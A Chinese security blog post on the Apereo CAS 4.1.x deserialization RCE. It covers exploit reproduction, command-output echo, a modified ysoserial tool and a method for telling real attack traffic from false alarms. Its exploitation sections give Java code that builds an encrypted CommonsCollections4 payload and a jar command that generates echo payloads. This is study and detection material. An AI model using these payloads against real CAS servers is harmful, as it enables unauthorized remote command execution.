Apereo Cas 4.1.x 反序列化回显与检测

释放双眼,带上耳机,听听看~!

0x01 前言

1)某次在客户现场,被问到从Apereo Cas RCE告警的举证信息(请求响应体)判断是否为真正的攻击还是误报,对于没复现过的我一脸懵逼地打开了各大论坛找资料,看是看得懂,主要解密也得花时间调试,于是就有了这篇文章。
2)又因为大部分师傅只是提了下回显利用的点子,实际上并没有放出完整回显的exp,所以就打算整一个完整的利用来学习下回显技术。其复现过程涉及到ysoserial的改造,几经折腾最后还是改好了,刺激。
本文主要从以下角度进行分析,漏洞利用复现,回显利用,ysoserial改造,检测思路。就不展开细讲原理了,好多师傅的文章已经讲得很通透了。

0x02 漏洞利用复现

1)环境搭建可以参考文章

https://www.anquanke.com/post/id/198842


可以看到该AperoCas已经启动,使用浏览器访问,填入用户名和密码并使用burp进行抓包,repeater该数据包

2)使用工具生成利用payload
工具地址:

https://github.com/vulhub/Apereo-CAS-Attack

我这里是源码调试,就不直接编译成jar再运行了,具体使用方法请参考上面的地址

String type = "CommonsCollections4";
String command = "cmd.exe /c calc.exe";
String id = UUID.randomUUID().toString();
EncryptedTranscoder et = new EncryptedTranscoder();
Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
byte[] code = et.encode(obj);
String payload =  Base64.getEncoder().encodeToString(code);
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);

3)burp发包执行命令
将上面生成的字符串贴到execution处,即可执行命令,下图为弹出计算器

0x03 回显利用

回显的意义在于常常遇到站点所在系统环境不能出网(连接公网)的情况,回显会更加直接看到命令执行的返回内容。
1) 使用改造后的工具生成payload

java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar encode CommonCollections4


将该payload替换至execution处,并在头部添加命令cmd:xxx
2)burp发包执行命令

0x04 检测思路

查看Apereo-CAS-Attack的代码可以看到直接调用的et.encode生成最终利用字符串,我们们翻翻看decode解码的地方(既反序列化漏洞触发点)
当然以上步骤按照常理来说,我应该从Apereo的整个流程上看才是最全最合理的,但此处为了尽快写出工具,因此直接拿这个工具现改。
encode:


decode:

从EncryptedTranscoder.encode是生成利用字符串的关键,而EncryptedTranscoder.decode则是解码执行的关键。
可以看到进行解密和解压缩之后得到的字节内容,输入对象输入流ObjectInputStream并通过readObject进行反序列化。如果我们要做检测,那就必然不需要走到readObject这一步(除非你想被上线到别人的cs,并被进行多人运动,狗头.jpg)
因此这里直接复制整个类,并对类添加一个单独的方法,将字节内容直接输出到文件当中,保存到文件中之后可以直接查看内容。由于大部分人其实都是直接使用ysoserial中的payload因此很容易直接判断该流量为攻击流量。


使用方法

java -jar  ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar decode base64stringxxxx 1.txt

若字符串中存在呢ysoserial字符则直接返回Detect ysoserial

0x05 ysoserial改造

根据其他师傅的文章进行对ysoserial进行的改造

这里添加一个ApereoCas的类里面的内容为

根据00TheWay师傅的文章提供的思路,不过最后落地的时候还是参考了l1nk3r和DreamXu师傅实现的代码,做了一个整合。

0x06 工具地址

https://github.com/MrMeizhi/ysoserial-mangguogan

0x07 声明

本文的exp仅仅用于研究学习用,若有其他恶意行为,自行承担责任。狗头.jpg

0x08 Reference

https://www.00theway.org/2020/01/04/apereo-cas-rce/
https://www.anquanke.com/post/id/198842
https://www.freebuf.com/vuls/226149.html

本文来自先知社区

人已赞赏
安全工具

对学校澡堂的漏洞挖掘

2020-9-13 14:09:08

安全工具

Chrome Issue 2046: NewFixedArray 数组长度未验证漏洞分析与利用

2020-9-17 22:14:16

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索